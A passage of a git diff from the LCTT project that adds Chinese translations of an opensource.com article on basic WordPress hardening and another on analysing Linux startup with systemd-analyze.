+[13]: https://ubuntuforums.org/ +[14]: https://www.linuxquestions.org/ +[15]: https://www.alsa-project.org/wiki/Mailing-lists +[16]: https://opensource.com/users/clhermansen +[17]: https://opensource.com/education/16/10/simplescreenrecorder-and-kazam +[18]: https://lctt.github.io/wiki/intro/lctt.html diff --git a/published/202204/20200426 6 tips for securing your WordPress website.md b/published/202204/20200426 6 tips for securing your WordPress website.md new file mode 100644 index 0000000000..38c12324ef --- /dev/null +++ b/published/202204/20200426 6 tips for securing your WordPress website.md @@ -0,0 +1,170 @@ +[#]: collector: (lujun9972) +[#]: translator: (hwlife) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14522-1.html) +[#]: subject: (6 tips for securing your WordPress website) +[#]: via: (https://opensource.com/article/20/4/wordpress-security) +[#]: author: (Lucy Carney https://opensource.com/users/lucy-carney) + +保护 WordPress 网站的 6 个技巧 +====== + +> 即使初学者也可以,并且应该采取这些步骤来保护他们的 WordPress 网站免受网络攻击。 + +![](https://img.linux.net.cn/data/attachment/album/202204/29/154648l33xt7xg6gk2nr8v.jpg) + +WordPress 已经驱动了互联网 30% 的网站,它是世界上增长最快的 内容管理系统content management system(CMS),而且不难看出原因:通过大量可用的定制化代码和插件、一流的 搜索引擎优化Search Engine Optimization(SEO),以及在博客界超高的美誉度,WordPress 赢得了很高的知名度。 + +然而,随着知名度而来的,也带来一些不太好的关注。WordPress 是入侵者、恶意软件和网络攻击的常见目标,事实上,在 2019 年被黑客攻击的 CMS 中,WordPress [约占 90%][2]。 + +无论你是 WordPress 新用户或者有经验的开发者,这里有一些你可以采取的重要步骤来保护你的 WordPress 网站。以下 6 个关键技巧将帮助你起步。 + +### 1、选择可靠的托管主机 + +主机是所有网站无形的基础,没有它,你不能在线发布你的网站。但是主机的作用远不止起简单的托管你的网站,它也要对你的网站速度、性能和安全负责。 + +第一件要做的事情就是检查主机在它的套餐中是否包含 SSL 安全协议。 + +无论你是运行一个小博客或是一个大的在线商店,SSL 协议都是所有网站必需的安全功能。如果你正在进行线上交易,你还需要 [高级 SSL 数字证书][3] ,但是对大多数网站来说,基本免费的 SSL 证书就很好了。 + +其他需要注意安全功能包括以下几种: + + * 日常的自动离线网站备份 + * 恶意软件和杀毒软件扫描和删除 + * 分布式服务攻击Distributed denial of service(DDOS)保护 + * 实时网络监控 + * 高级防火墙保护 + +另外除了这些数字安全功能之外,你的主机供应商的 _物理_ 安全措施也是值得考虑的。这些包括用安全警卫、闭路监控和二次验证或生物识别来限制对数据中心的访问。 + +### 2、使用安全插件 + +保护你的网站安全最有效且容易的方法之一是安装一个安全插件,比如 [Sucuri][4],它是一个 GPLv2 许可的开源软件。安全插件是非常重要的,因为它们能将安全管理自动化,这意味着你能够集中精力运行你的网站,而不是花大量的时间来与在线威胁作斗争。 + +这些插件探测、阻止恶意攻击,并提醒你需要注意的任何问题。简言之,它们持续在后台运行,保护你的网站,这意味着你不必保持 7 天 24 小时地保持清醒,与黑客、漏洞和其他数字垃圾斗争。 + +一个好的安全插件会免费提供给你所有必要的安全功能,但是一些高级功能需要付费订阅。举个例子,如果你想要解锁 [Sucuri 的网站防火墙][5] ,你就需要付费。开启 网站应用防火墙web application firewall(WAF)阻挡常见的威胁,并为给你的网站添加一个额外的安全层,所以当选择安全插件的时候,寻找带有这个功能的插件是一个好的主意。 + +### 3、选择值得信任的插件和主题 + +WordPress 的快乐在于它是开源的,所以任何人、每个人都能提供他们开发的主题和插件。但当选择高质量的主题和插件时,这也抛出一些问题。 + +在挑选免费的主题或插件时,有一些设计较差,或者更糟糕的是,可能会隐藏恶意代码。 + +为了避免这种情况,始终从可靠的来源来获取免费主题和插件,比如 WordPress 主题库。阅读对它的评论,并研究查看开发者是否构建过其他的程序。 + +过时的或设计不良的主题和插件可以为攻击者进入你的网站留下“后门”或错误,这就是为什么选择时要谨慎。然而,你也应该提防无效或者破解的主题。这些已经黑客破坏了的高级主题被非法销售。你可能会购买一个无效的主题,它看起来没什么问题,但会通过隐藏的恶意代码破坏你的网站。 + +为了避免无效主题,不要被打折的价格所吸引,始终坚持可靠的主题商店,比如官方的 [WordPress 目录][6]。如果你在其它地方寻找,坚持选择大型且值得信任的商店,比如 [Themify][7] ,这个主题和插件商店自从 2010 年就已经在经营了。Themify 确保它的所有 WordPress 主题通过了 [谷歌友好移动][8]Google Mobile-Friendly 测试,并在 [GNU 通用公共许可证][9] 下开源。 + +### 4、运行定期更新 + +这是 WordPress 的基本规则: 始终保持你的网站最新。然而,不是所有人都坚持了这个规则,只有 [43% 的 WordPress 网站][10] 运行的是最新版本。 + +问题是,当你的网站过期的时候,由于它在安全和性能修复方面落后的原因,容易受到故障、漏洞、入侵和崩溃的影响。过期的网站不能像更新的网站一样修复漏洞,攻击者能够分辨出哪些网站是过期的。这意味着他们能够依此来搜索最易受攻击的网站并袭击它们。 + +这就是为什么你始终要运行最新的 WordPress 版本的原因。为了保持网站安全处于最强的状态,你必须更新你的插件和主题,以及你的核心 WordPress 软件。 + +如果你选择一个受管理的 WordPress 托管套餐,你可能会发现你的供应商会为你检查并运行更新,以了解你的主机是否提供了软件和插件更新。如果没有,你可以安装一个开源插件管理器。比如 GPLv2 许可的 [Easy Updates Manager plugin][11] 作为替代品。 + +### 5、强化你的登录 + +除了通过仔细选择主题和安装安全插件来创建一个安全的 WordPress 网站外,你还需要防止未经授权的登录访问。 + +#### 密码保护 + +如果你在使用 [容易猜到的短语][12] 比如 “123456” 或 “qwerty” ,第一步要做的增强登录安全最简单的方法是更改你的密码。 + +尝试使用一个长的密码而不是一个单词,这样它们很难被破解。最好的方式是用一系列你容易记住且不相关的单词合并起来。 + +这里有一些其它的提示: + + * 绝不要重复使用密码 + * 密码不要包括像家庭成员的名字或者你喜欢的球队等明显的单词 + * 不要和任何人分享你的登录信息 + * 你的密码要包括大小写和数字来增加复杂程度 + * 不要在任何地方写下或者存储你的登录信息 + * 使用 [密码管理器][13] + +#### 变更你的登录地址 + +将默认登录网址从标准格式 `yourdomain.com/wp-admin` 变更是一个好主意。这是因为黑客也知道这个缺省登录网址,所以不变更它会有被暴力破解的风险。 + +为避免这种情况,可以将登录网址变更为不同的网址。使用开源插件比如 GPLv2 许可的 [WPS Hide Login][14] 可以更加安全、快速和轻松的自定义登录地址。 + +#### 应用双因素认证 + +为了提供更多的保护,阻止未授权的登录和暴力破解,你应该添加双因素认证。这意味着即使有人 _确实_ 得到了你的登录信息,但是他们还需要一个直接发送到你的手机上的验证码,来获得对你的 WordPress 网站管理的权限。 + +添加双因素认证是非常容易的,只需要安装另一个插件,在 WordPress 插件目录搜索 “two-factor authentication” ,然后选择你要的插件。其中一个选择是 [Two Factor][15] ,这是一个流行的 GPLv2 许可的插件,已经有超过 10000 次安装。 + +#### 限制登录尝试 + +WordPress 可以让你多次猜测登录信息来帮助你登录。然而,这对黑客尝试获取未授权访问 WordPress 网站并发布恶意代码也是有帮助的。 + +为了应对暴力破解,安装一个插件来限制登录尝试,并设置你允许猜测的次数。 + +### 6、禁用文件编辑功能 + +这不是一个适合初学者的步骤,除非你是个自信的程序员,不要尝试它。并且一定要先备份你的网站。 + +那就是说,如果你真的想保护你的 WordPress 网站,禁用文件编辑功能 _是_ 一个重要的措施 。如果你不隐藏你的文件,它意味着任何人从管理后台都可以编辑你的主题和插件代码,如果入侵者进入,那就危险了。 + +为了拒绝未授权的访问,转到你的 `.htaccess` 文件并输入: + +``` + +order allow,deny +deny from all + +``` + +或者,要从你的 WordPress 管理后台直接删除主题和插件的编辑选项,可以添加编辑你的 `wp-config.php` 文件: + +``` +define( 'DISALLOW_FILE_EDIT', true ); +``` + +保存并重新加载这个文件,插件和主题编辑器将会从你的 WordPress 管理后台菜单中消失,阻止任何人编辑你的主题或者插件代码,包括你自己。如果你需要恢复访问你的主题和插件代码,只需要删除你添加在 `wp-config.php` 文件中的代码即可。 + +无论你阻止未授权的访问,还是完全禁用文件编辑功能,采取行动保护你网站代码是很重要的。否则,不受欢迎的访问者编辑你的文件并添加新代码是很容易的。这意味着攻击者可以使用编辑器从你的 WordPress 站点来获取数据,或者甚至利用你的网站对其他站点发起攻击。 + +隐藏文件更容易的方式是利用安全插件来为你服务,比如 Sucuri 。 + +### WordPress 安全概要 + +WordPress 是一个优秀的开源平台,初学者和开发者都应该享受它,而不用担心成为攻击的受害者。遗憾的是,这些威胁不会很快消失,所以保持网站的安全至关重要。 + +利用以上措施,你可以创建一个更加健壮、更安全的保护水平的 WordPress 站点,并给自己带来更好的使用体验。 + +保持安全是一个持续的任务,而不是一次性的检查清单,所以一定要定期重温这些步骤,并在建立和使用你的CMS时保持警惕。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/4/wordpress-security + +作者:[Lucy Carney][a] +选题:[lujun9972][b] +译者:[hwlife](https://github.com/hwlife) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/lucy-carney +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/BUSINESS_3reasons.png?itok=k6F3-BqA (A lock on the side of a building) +[2]: https://cyberforces.com/en/wordpress-most-hacked-cms +[3]: https://opensource.com/article/19/11/internet-security-tls-ssl-certificate-authority +[4]: https://wordpress.org/plugins/sucuri-scanner/ +[5]: https://sucuri.net/website-firewall/ +[6]: https://wordpress.org/themes/ +[7]: https://themify.me/ +[8]: https://developers.google.com/search/mobile-sites/ +[9]: http://www.gnu.org/licenses/gpl.html +[10]: https://wordpress.org/about/stats/ +[11]: https://wordpress.org/plugins/stops-core-theme-and-plugin-updates/ +[12]: https://www.forbes.com/sites/kateoflahertyuk/2019/04/21/these-are-the-worlds-most-hacked-passwords-is-yours-on-the-list/#4f157c2f289c +[13]: https://opensource.com/article/16/12/password-managers +[14]: https://wordpress.org/plugins/wps-hide-login/ +[15]: https://en-gb.wordpress.org/plugins/two-factor/ diff --git a/published/202204/20200916 Analyze Linux startup performance.md b/published/202204/20200916 Analyze Linux startup performance.md new file mode 100644 index 0000000000..4e20e1807c --- /dev/null +++ b/published/202204/20200916 Analyze Linux startup performance.md @@ -0,0 +1,411 @@ +[#]: collector: (lujun9972) +[#]: translator: (jiamn) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14462-1.html) +[#]: subject: (Analyze Linux startup performance) +[#]: via: (https://opensource.com/article/20/9/systemd-startup-configuration) +[#]: author: (David Both https://opensource.com/users/dboth) + +Linux 启动性能分析 +====== + +> 用 systemd-analyze 洞悉并解决 Linux 启动性能问题。 + +![](https://img.linux.net.cn/data/attachment/album/202204/12/120909ygssda7j3t3a3a3a.jpg) + +系统管理员的一部分工作就是分析系统性能,发现并解决引起性能不佳、启动时间长的问题。系统管理员也需要去检查 systemd 的配置和使用的其它方面。 + +systemd 初始化系统提供了 `systemd-analyze` 工具,可以帮助发现性能问题和其他重要的 systemd 信息。在以前的文章《[分析 systemd 日历和时间跨度][2]》里,我用了 `systemd-analyze` 去分析 systemd 里的时间戳和时间跨度,但是这个工具还有很多其他用法,这个文章里我将再揭示一些。 + +(LCTT 译注:systemd 是目前主流 Linux 发行版采用的系统管理系统) + +(LCTT 译注:为了区分英文的 “boot” 和 “startup” 的不同涵义,此处将 “boot” 翻译为“引导”,“startup” 翻译为“启动”。) + +### 概述启动 + +Linux 启动过程是值得学习关注的地方,因为 `systemd-analyze` 工具很多功能聚焦在启动startup过程。但是首先,要理解引导boot启动startup。引导阶段从 BIOS 加电自检(POST)开始,结束于内核完成加载并控制主机系统,然后是开始了启动过程,也是 systemd 日志的开始点。 + +这个系列的第二篇文章《[理解 Linux 启动时的 systemd][3]》中,我详细讨论了启动阶段的内容和过程。在这篇文章里,我想研究一下启动过程,看看需要多少时间和大部分时间花费在哪里。 + +下面我将展示的结果来自我的主要工作站,这比虚拟机的结果要有趣得多。这个工作站包括一块 华硕 TUF X299 Mark 2 主板、一个英特尔 i9-7960X CPU(16 核 32 线程),64 G 内存。下面的一些命令非 root 用户也可以使用,但是我在这篇文章里使用了 root 用户,以避免在用户之间切换。 + +检查启动过程有几种方法,最简单的 `systemd-analyze` 命令显示了启动的几个主要部分耗费的时间,包括内核启动、装载运行 initrd(即初始 ramdisk,这是一个用来初始化一些硬件、挂载 `/` 根文件系统的临时系统镜像),还有用户空间(加载所有使主机达到可用状态的程序和守护程序)。如果没有像该命令传递子命令,默认是 `systemd-analyze time`: + +``` +[root@david ~]$ systemd-analyze +Startup finished in 53.921s (firmware) + 2.643s (loader) + 2.236s (kernel) + 4.348s (initrd) + 10.082s (userspace) = 1min 13.233s +graphical.target reached after 10.071s in userspace +[root@david ~]# +``` + +这个输出中最值得注意的数据是在固件(BIOS)中花费的时间:几乎 54 秒。这是一个不太正常的时间,我的其他物理系统都没有花费这么长的时间来通过 BIOS。 + +我的 System76 Oryx Pro 笔记本在 BIOS 阶段只花了 8.506 秒,我家里所有的系统都在 10 秒以内。在线搜索一阵之后,我发现这块主板以其超长的 BIOS 引导时间而闻名。我的主板从不“马上启动”,总是挂起,我需要关机再开机,BIOS 报错,按 `F1` 进入 BIOS 设置,选择要引导的驱动器完成引导,多花费的时间就是这样用掉的。 + +不是所有主机都会显示固件数据(LCTT 译注:固件引导中不涉及 systemd)。我的不科学的实验使我相信,这个数据只显示给英特尔 9 代或以上的处理器。但这可能是不正确的。 + +这个关于引导、启动的概述提供了很好的(虽然有限)的信息,但是还有很多关于启动的信息,我将在下面描述。 + +### 分配责任 + +你可以用 `systemd-analyze blame` 来发现哪个 systemd 单元的初始化时间最长。其结果按照初始化时间长短排序,从多到少: + +``` +[root@david ~]$ systemd-analyze blame + 5.417s NetworkManager-wait-online.service + 3.423s dracut-initqueue.service + 2.715s systemd-udev-settle.service + 2.519s fstrim.service + 1.275s udisks2.service + 1.271s smartd.service + 996ms upower.service + 637ms lvm2-monitor.service + 533ms lvm2-pvscan@8:17.service + 520ms dmraid-activation.service + 460ms vboxdrv.service + 396ms initrd-switch-root.service +<截断:删去了好多时间不长的条目> +``` + +因为很多服务是并行开始的,在 BIOS 之后所有单元加在一起的总数大大超过了 `systemd-analyze time` 汇总数。很多都是小数,不能显著的节省时间。 + +这个命令提供的数据指明了改善启动时间的办法。无用的服务可以禁用(`disable`)。在这个启动过程中,似乎没有任何一个服务需要花费过长的时间。你可能会在每次启动时看到不同的结果。(LCTT 译注:并行启动服务的原因) + +### 关键链 + +就像项目管理中的关键路径一样,关键链显示了在启动过程中发生的时间关键的事件链(LCTT 译注:systemd 可以定义服务间的依赖,构成关键链)。如果启动缓慢,这些是你想查看的 systemd 单元,因为它们是导致延迟的单元。这个工具不会显示所有启动的单元,只显示这个关键事件链中的单元。(LCTT 译注:相当于最短路径。并不显示依赖不在关键链上的服务单元) + +``` +[root@david ~]# systemd-analyze critical-chain +The time when unit became active or started is printed after the "@" character. +The time the unit took to start is printed after the "+" character. + +graphical.target @10.071s +└─lxdm.service @10.071s + └─plymouth-quit.service @10.047s +22ms + └─systemd-user-sessions.service @10.031s +7ms + └─remote-fs.target @10.026s + └─remote-fs-pre.target @10.025s + └─nfs-client.target @4.636s + └─gssproxy.service @4.607s +28ms + └─network.target @4.604s + └─NetworkManager.service @4.383s +219ms + └─dbus-broker.service @4.434s +136ms + └─dbus.socket @4.369s + └─sysinit.target @4.354s + └─systemd-update-utmp.service @4.345s +9ms + └─auditd.service @4.301s +42ms + └─systemd-tmpfiles-setup.service @4.254s +42ms + └─import-state.service @4.233s +19ms + └─local-fs.target @4.229s + └─Virtual.mount @4.019s +209ms + └─systemd-fsck@dev-mapper-vg_david2\x2dVirtual.service @3.742s +274ms + └─local-fs-pre.target @3.726s + └─lvm2-monitor.service @356ms +637ms + └─dm-event.socket @319ms + └─-.mount + └─system.slice + └─-.slice +[root@david ~]# +``` + +前面有 `@` 的数字表示单元激活开始启动所使用的绝对秒数。前面有 `+` 的数字显示单元启动所需的时间。 + +### 系统状态 + +有时候你需要确定系统的当前状态,`systemd-analyze dump` 命令转储了当前系统状态的大量数据。有主要的启动时间戳,一个每个 systemd 单元的列表,并对每个单元状态进行了完整描述: + +``` +[root@david ~]# systemd-analyze dump +Timestamp firmware: 1min 7.983523s +Timestamp loader: 3.872325s +Timestamp kernel: Wed 2020-08-26 12:33:35 EDT +Timestamp initrd: Wed 2020-08-26 12:33:38 EDT +Timestamp userspace: Wed 2020-08-26 12:33:42 EDT +Timestamp finish: Wed 2020-08-26 16:33:56 EDT +Timestamp security-start: Wed 2020-08-26 12:33:42 EDT +Timestamp security-finish: Wed 2020-08-26 12:33:42 EDT +Timestamp generators-start: Wed 2020-08-26 16:33:42 EDT +Timestamp generators-finish: Wed 2020-08-26 16:33:43 EDT +Timestamp units-load-start: Wed 2020-08-26 16:33:43 EDT +Timestamp units-load-finish: Wed 2020-08-26 16:33:43 EDT +Timestamp initrd-security-start: Wed 2020-08-26 12:33:38 EDT +Timestamp initrd-security-finish: Wed 2020-08-26 12:33:38 EDT +Timestamp initrd-generators-start: Wed 2020-08-26 12:33:38 EDT +Timestamp initrd-generators-finish: Wed 2020-08-26 12:33:38 EDT +Timestamp initrd-units-load-start: Wed 2020-08-26 12:33:38 EDT +Timestamp initrd-units-load-finish: Wed 2020-08-26 12:33:38 EDT +-> Unit system.slice: + Description: System Slice + Instance: n/a + Unit Load State: loaded + Unit Active State: active + State Change Timestamp: Wed 2020-08-26 12:33:38 EDT + Inactive Exit Timestamp: Wed 2020-08-26 12:33:38 EDT + Active Enter Timestamp: Wed 2020-08-26 12:33:38 EDT + Active Exit Timestamp: n/a + Inactive Enter Timestamp: n/a + May GC: no +<截断:删除了大量的输出行> +``` + +在我的主工作站上,这个命令生成了 49680 行输出,大概 1.66MB,这个命令非常快,不需要等待。 + +我很喜欢为各种连接设备(如存储设备)提供的大量细节。每个 systemd 单元有一个部分,包括各种运行时、缓存、日志目录的模式、启动单元的命令行、PID、开始时间戳,以及内存和文件限制等细节。 + +`systemd-analyze` 的手册页里展示了 `systemd-analyze --user dump` 选项,目的是显示用户管理器的内部状态。但这个选项对我来说是失败的,互联网搜索之后表明它可能有一些问题。在 systemd 里,`--user` 实例用来管理和控制处理器给每个用户的进程资源。处理能力按分给每个用户的进程都属于一个控制组,我将在以后的文章中介绍。 + +### 分析图表 + +大多数啥都不懂的猥琐老板(PHB)和许多优秀的管理者都发现漂亮的图表比我通常喜欢的基于文本的系统性能数据更容易阅读和理解。但有时,即使是我也喜欢一个好的图表,`systemd-analyze` 提供了显示引导/启动数据的 [SVG][4] 矢量图表。 + +下面的命令生成一个矢量图文件,来显示在引导和启动过程发生的事件。生成这个文件只需要几秒: + +``` +[root@david ~]# systemd-analyze plot > /tmp/bootup.svg +``` + +这个命令创建了一个 SVG 文件,SVG 是一个定义了一系列图形矢量的文本文件,包括 Image Viewer、Ristretto、Okular、Eye of Mate、LibreOffice Draw 在内的这些可以生成图形的应用,可以用 SVG 来创建图像。 + +我用 LibreOffice Draw(LCTT 译注:一个办公文档软件)来渲染一幅图形。这张图形很大,你需要放到很大才能看清细节。这里是它的一小部分: + +![The bootup.svg file displayed in LibreOffice Draw.][5] + +图中时间轴上零点(0)的左边是引导阶段,零点的右边是启动阶段。这一小部分显示了内核、initrd 和 initrd 启动的进程。 + +这张图一目了然地显示了什么时候启动,启动需要多少时间,以及主要的依赖项。关键路径用红色高亮显示。 + +另外一个生成图形输出的命令是 `systemd-analyze plot`,它生成了 [DOT][7] 格式的文本依赖图。产生的数据流通过 `dot` 工具进行处理,这是一组用来从多种类型数据中生成矢量图文件的程序。这些 SVG 文件也能被上面列出的工具处理。 + +首先,生成文件,在我的主工作站花了 9 分钟: + +``` +[root@david ~]# time systemd-analyze dot | dot -Tsvg > /tmp/test.svg + Color legend: black = Requires + dark blue = Requisite + dark grey = Wants + red = Conflicts + green = After + +real 8m37.544s +user 8m35.375s +sys 0m0.070s +[root@david ~]# +``` + +我不会在这里重现输出,因为产生的图形就像一大堆意大利面条。但是你应该试试,看看我想让你看到的结果。 + +### 条件 + +在阅读 systemd-analyze(1) 的手册页时,我发现了一个更有趣的功能,但又有点通用,就是条件子命令。(是的,我确实在读手册页,而且我神奇地通过这种方式学到了很多东西!)。这个 `condition` 子命令能用来测试 systemd 单元文件中的条件和断言。 + +它也可以在脚本中用来评估一个或多个条件 —— 如果所有条件都满足,则返回 0;如果有条件不满足,则返回 1。在其它情况下,它都会输出其结果文本。 + +下面的例子来自手册页,稍微有点复杂。它测试了内核版本是否在 4.0 和 5.1 之间,主机是否使用交流电供电,系统结构是否是 ARM,以及 `/etc/os-release` 目录是否存在。我添加了 `echo $?` 来打印返回值。 + +``` +[root@david ~]# systemd-analyze condition 'ConditionKernelVersion = ! <4.0' \ + 'ConditionKernelVersion = >=5.1' \ + 'ConditionACPower=|false' \ + 'ConditionArchitecture=|!arm' \ + 'AssertPathExists=/etc/os-release' ; \ +echo $? +test.service: AssertPathExists=/etc/os-release succeeded. +Asserts succeeded. +test.service: ConditionArchitecture=|!arm succeeded. +test.service: ConditionACPower=|false failed. +test.service: ConditionKernelVersion=>=5.1 succeeded. +test.service: ConditionKernelVersion=!<4.0 succeeded. +Conditions succeeded. +0 +[root@david ~]# +``` + +条件和断言的列表大约从 systemd.unit(5) 手册页的第 600 行左右开始。 + +### 列出配置文件 + +`systemd-analyze` 工具提供了一种将各种配置文件的内容发送到 STDOUT 的方法,如图所示。其基本目录是 `/etc/`。 + +``` +[root@david ~]# systemd-analyze cat-config systemd/system/display-manager.service +# /etc/systemd/system/display-manager.service +[Unit] +Description=LXDM (Lightweight X11 Display Manager) +#Documentation=man:lxdm(8) +Conflicts=getty@tty1.service +After=systemd-user-sessions.service getty@tty1.service plymouth-quit.service livesys-late.service +#Conflicts=plymouth-quit.service + +[Service] +ExecStart=/usr/sbin/lxdm +Restart=always +IgnoreSIGPIPE=no +#BusName=org.freedesktop.lxdm + +[Install] +Alias=display-manager.service +[root@david ~]# +``` + +打了这么多字却和标准的 `cat` 命令做的差不多。我发现下一条命令小有帮助,它能在标准的 systemd 所在的位置搜索具有指定模式的内容: + +``` +[root@david ~]# systemctl cat backup* +# /etc/systemd/system/backup.timer +# This timer unit runs the local backup program +# (C) David Both +# Licensed under GPL V2 +# + +[Unit] +Description=Perform system backups +Requires=backup.service + +[Timer] +Unit=backup.service +OnCalendar=*-*-* 00:15:30 + +[Install] +WantedBy=timers.target + + +# /etc/systemd/system/backup.service +# This service unit runs the rsbu backup program +# By David Both +# Licensed under GPL V2 +# + +[Unit] +Description=Backup services using rsbu +Wants=backup.timer + +[Service] +Type=oneshot +Environment="HOME=/root" +ExecStart=/usr/local/bin/rsbu -bvd1 +ExecStart=/usr/local/bin/rsbu -buvd2 + +[Install] +WantedBy=multi-user.target + +[root@david ~]# +``` + +这两个命令在每个文件的内容前面都有一个注释行,包含文件的完整路径和名称。 + +### 单元文件检查 + +当创建了一个新的单元文件,可以利用 `verify` 子命令帮助检查语法是否正确。它能指出来不正确的拼写,并列出缺失的服务单元。 + +``` +[root@david ~]# systemd-analyze verify /etc/systemd/system/backup.service +``` + +秉承 Unix/Linux 的“沉默是金”的宗旨,没有输出意味着扫描的文件中没有错误。 + +### 安全性 + +`security` 子命令检查指定服务的安全级别。它只能针对服务单元,其他类型的单元文件不起作用: + +``` +[root@david ~]# systemd-analyze security display-manager + NAME DESCRIPTION > +✗ PrivateNetwork= Service has access to the host's network > +✗ User=/DynamicUser= Service runs as root user > +✗ CapabilityBoundingSet=~CAP_SET(UID|GID|PCAP) Service may change UID/GID identities/capabilities > +✗ CapabilityBoundingSet=~CAP_SYS_ADMIN Service has administrator privileges > +✗ CapabilityBoundingSet=~CAP_SYS_PTRACE Service has ptrace() debugging abilities > +✗ RestrictAddressFamilies=~AF_(INET|INET6) Service may allocate Internet sockets > +✗ RestrictNamespaces=~CLONE_NEWUSER Service may create user namespaces > +✗ RestrictAddressFamilies=~… Service may allocate exotic sockets > +✗ CapabilityBoundingSet=~CAP_(CHOWN|FSETID|SETFCAP) Service may change file ownership/access mode/capabilities unres> +✗ CapabilityBoundingSet=~CAP_(DAC_*|FOWNER|IPC_OWNER) Service may override UNIX file/IPC permission checks > +✗ CapabilityBoundingSet=~CAP_NET_ADMIN Service has network configuration privileges > +✗ CapabilityBoundingSet=~CAP_SYS_MODULE Service may load kernel modules +<截断> +✗ CapabilityBoundingSet=~CAP_SYS_TTY_CONFIG Service may issue vhangup() > +✗ CapabilityBoundingSet=~CAP_WAKE_ALARM Service may program timers that wake up the system > +✗ RestrictAddressFamilies=~AF_UNIX Service may allocate local sockets > + +→ Overall exposure level for backup.service: 9.6 UNSAFE ? +lines 34-81/81 (END) +``` + +是的,表情符是输出的一部分。但是,当然,许多服务需要几乎完全访问所有的东西,以便完成它们的工作。我针对几个服务运行了这个程序,包括我自己的备份服务;结果可能有所不同,但最底下一行似乎大多是一样的。 + +这个工具对于在严格的安全环境检查和修复用户空间的服务单元是很有用的。我不认为我们的大多数都能用到它。 + +### 最后总结 + +这个强力的工具提供了一些有趣而惊人的有用选项。本文探讨的大部分内容是关于使用 systemd-analyze 来深入了解 Linux 使用 systemd 的启动性能。它还可以分析 systemd 的其他方面。 + +其中有些工具的作用有限,有几个应该完全忘记。但在解决启动和其他 systemd 功能的问题时,大多数都能起到很好的作用。 + +### 资源 + +互联网上关于 systemd 有很多信息,但是很多过于简略、晦涩,甚至是误导。除了这篇文章中提到的资源外,以下网页提供了关于systemd启动的更详细和可靠的信息。这个列表在我开始写这一系列文章后有所增长,以反映我所做的研究。 + + * [systemd.unit(5) 手册页][9] 包含了一份单元文件部分及其配置选项的清单,并对每个部分进行了简明的描述。 + * Fedora 项目有一个很好的实用 [systemd 指南][10]。它包含了配置、管理和维护使用 systemd 的 Fedora 计算机所需的几乎所有知识。 + * Fedora 项目还有一份很好的 [备忘录][11],将旧的 SystemV 命令与 systemd 命令进行了对照。 + * Red Hat 文档包含了对 [单元文件结构][12] 的详细描述和其他重要的信息。 + * 关于 systemd 技术的细节和创建它的原因,可以去看 Freedesktop.org [systemd 详述][13]。 + * [Linux.com][14] 的“更多 systemd 乐趣”提供了很多高级的 systemd [信息和技巧][15]。 + +此外,systemd 设计者和主要开发者 Lennart Poettering 也为 Linux 系统管理员撰写了一系列深度技术文档,尽管这些文章写于 2010 年 4 月到 2011 年 9 月,现在看也是非常适应时宜。关于 systemd 及其生态系统的其他好文章,大部分都是基于这些文章的。 + + * [Rethinking PID 1][16] + * [systemd for Administrators, Part I][17] + * [systemd for Administrators, Part II][18] + * [systemd for Administrators, Part III][19] + * [systemd for Administrators, Part IV][20] + * [systemd for Administrators, Part V][21] + * [systemd for Administrators, Part VI][22] + * [systemd for Administrators, Part VII][23] + * [systemd for Administrators, Part VIII][24] + * [systemd for Administrators, Part IX][25] + * [systemd for Administrators, Part X][26] + * [systemd for Administrators, Part XI][27] + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/20/9/systemd-startup-configuration + +作者:[David Both][a] +选题:[lujun9972][b] +译者:[jiamn](https://github.com/jiamn) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/dboth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/find-file-linux-code_magnifying_glass_zero.png?itok=E2HoPDg0 (Magnifying glass on code) +[2]: https://opensource.com/article/20/7/systemd-calendar-timespans +[3]: https://opensource.com/article/20/5/systemd-startup?utm_campaign=intrel +[4]: https://en.wikipedia.org/wiki/Scalable_Vector_Graphics +[5]: https://opensource.com/sites/default/files/uploads/bootup.svg-graph.png (The bootup.svg file displayed in LibreOffice Draw.) +[6]: https://creativecommons.org/licenses/by-sa/4.0/ +[7]: https://en.wikipedia.org/wiki/DOT_(graph_description_language) +[8]: mailto:getty@tty1.service +[9]: https://man7.org/linux/man-pages/man5/systemd.unit.5.html +[10]: https://docs.fedoraproject.org/en-US/quick-docs/understanding-and-administering-systemd/index.html +[11]: https://fedoraproject.org/wiki/SysVinit_to_Systemd_Cheatsheet +[12]: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/configuring_basic_system_settings/managing-services-with-systemd_configuring-basic-system-settings#Managing_Services_with_systemd-Unit_File_Structure +[13]: https://www.freedesktop.org/wiki/Software/systemd/ +[14]: http://Linux.com +[15]: https://www.linux.com/training-tutorials/more-systemd-fun-blame-game-and-stopping-services-prejudice/ +[16]: http://0pointer.de/blog/projects/systemd.html +[17]: http://0pointer.de/blog/projects/systemd-for-admins-1.html +[18]: http://0pointer.de/blog/projects/systemd-for-admins-2.html +[19]: http://0pointer.de/blog/projects/systemd-for-admins-3.html +[20]: http://0pointer.de/blog/projects/systemd-for-admins-4.html +[21]: http://0pointer.de/blog/projects/three-levels-of-off.html +[22]: http://0pointer.de/blog/projects/changing-roots +[23]: http://0pointer.de/blog/projects/blame-game.html +[24]: http://0pointer.de/blog/projects/the-new-configuration-files.html +[25]: http://0pointer.de/blog/projects/on-etc-sysinit.html +[26]: http://0pointer.de/blog/projects/instances.html +[27]: http://0pointer.de/blog/projects/inetd.html diff --git a/published/202204/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md b/published/202204/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md new file mode 100644 index 0000000000..866c1ec794 --- /dev/null +++ b/published/202204/20201116 Linux Jargon Buster- What is Grub in Linux- What is it Used for.md @@ -0,0 +1,149 @@ +[#]: collector: (lujun9972) +[#]: translator: (lkxed) 